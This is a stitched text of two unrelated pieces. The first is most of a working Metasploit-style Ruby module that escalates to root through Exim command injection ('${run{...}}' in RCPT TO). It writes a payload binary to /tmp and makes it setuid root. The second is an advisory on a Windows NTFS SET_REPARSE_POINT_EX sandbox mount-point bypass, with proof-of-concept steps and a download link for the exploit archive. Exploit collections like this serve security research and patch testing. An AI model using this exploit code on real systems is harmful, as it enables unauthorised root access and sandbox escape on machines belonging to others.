[
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def encode_command(cmd)
'\x' + cmd.unpack('H2' * cmd.length).join('\x')
end
def open_tcp_connection
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
params = Rex::Socket::Parameters.new({
'PeerHost' => '127.0.0.1',
'PeerPort' => datastore['EXIMPORT']
})
begin
socket = socket_subsystem.create_tcp_client_channel(params)
rescue => e
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
"are you sure exim is listening on this port? (see EXIMPORT)")
raise e
end
return socket_subsystem, socket
end
def inject_payload(payload)
if session.type == 'meterpreter'
socket_subsystem, socket = open_tcp_connection
tcp_conversation = {
nil => /220/,
'helo localhost' => /250/,
"MAIL FROM:<>" => /250/,
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
'DATA' => /354/,
'Received:' => nil,
'.' => /250/
}
begin
tcp_conversation.each do |line, pattern|
Timeout.timeout(datastore['SendExpectTimeout']) do
if line
if line == 'Received:'
for i in (1..31)
socket.puts("#{line} #{i}\n")
end
else
socket.puts("#{line}\n")
end
end
if pattern
socket.expect(pattern)
end
end
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
ensure
socket.puts("QUIT\n")
socket.close
socket_subsystem.shutdown
end
else
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
"&& echo true").chomp.to_s == 'true'
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
end
bash_script = %|
#!/bin/bash
exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in $(seq 1 30); do
echo 'Received: $i' >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
|
@bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
write_file(@bash_script_path, bash_script)
register_file_for_cleanup(@bash_script_path)
chmod(@bash_script_path)
cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
end
print_status('Payload sent, wait a few seconds...')
Rex.sleep(5)
end
def check_for_bash
unless command_exists?('/bin/bash')
fail_with(Failure::NotFound, 'bash not found')
end
end
def on_new_session(session)
super
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.fs.file.rm(@payload_path)
else
session.shell_command_token("rm -f #{@payload_path}")
end
end
def check
if session.type == 'meterpreter'
begin
socket_subsystem, socket = open_tcp_connection
rescue
return CheckCode::Safe
end
res = socket.gets
socket.close
socket_subsystem.shutdown
else
check_for_bash
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
"(read -u 3 && echo $REPLY) || echo false'")
if res == 'false'
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
"are you sure exim is listening on this port? (see EXIMPORT)")
return CheckCode::Safe
end
end
if res =~ /Exim ([0-9\.]+)/i
version = Gem::Version.new($1)
vprint_status("Found exim version: #{version}")
if version >= target[:lower_version] && version <= target[:upper_version]
return CheckCode::Appears
else
return CheckCode::Safe
end
end
CheckCode::Unknown
end
def exploit
if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
if nosuid?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
end
unless datastore['PrependSetuid'] && datastore['PrependSetgid']
fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
'to get root privileges.')
end
if session.type == 'shell'
check_for_bash
end
@payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
write_file(@payload_path, payload.encoded_exe)
register_file_for_cleanup(@payload_path)
inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
"chmod 4755 #{@payload_path}'"))
unless setuid?(@payload_path)
fail_with(Failure::Unknown, "Couldn't escalate privileges")
end
cmd_exec("#{@payload_path} & echo ")
end
end
Windows: SET_REPARSE_POINT_EX Mount Point Security Feature Bypass
Platform: Windows 10 1903, 1809 (not tested earlier)
Class: Security Feature Bypass
Summary:
The NTFS driver supports a new FS control code to set a mount point which the existing sandbox mitigation doesn’t support allowing a sandboxed application to set an arbitrary mount point symbolic link.
Description:
After multiple previous attempts the kernel mitigation against adding arbitrary NTFS mount points seems pretty robust. However due to the way it was implemented inside the IO manager in the kernel it is fragile to changes inside the filesystem drivers as the mitigation is only implemented when the FSCTL_SET_REPASE_POINT control code is used.
In this case at some point (based on headers probably RS1) a new FSCTL was added to NTFS, FSCTL_SET_REPARSE_POINT_EX to allow overwriting an existing reparse point without having to first delete it. This FSCTL has a different control code to the old one, therefore issuing it does not trigger the mitigation and an arbitrary mount point can be set from any sandboxed applications. This mount point could then facilitate further attacks, for example https://bugs.chromium.org/p/project-zero/issues/detail?id=1413 is probably now vulnerable again to drop an arbitrary file as the current user.
Fixing wise obviously you’d want to also detect this FSCTL and handle it in the mitigation. You’ll probably want to verify the NTFS implementation to check that it’s not possible to just change the data without specifying a valid tag when an existing tag is already set as the single optional flag you can specify isn’t exactly clear on this. You might also want to find a way of getting visibility on new changes which can affect symbolic link operations, as this is 3rd time this has happened recently (previously NPFS symlinks and global symlinks) that I know of.
Proof of Concept:
I’ve provided a PoC as a C# project. It will create a temporary directory, drop its token’s IL to Low then set that directory to be a mount point to the windows folder which would not normally be allowed.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC.
3) The PoC should print the set mount point path.
Expected Result:
Setting the mount point should fail with access denied.
Observed Result:
The mount point is set to an arbitrary directory.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47306.zip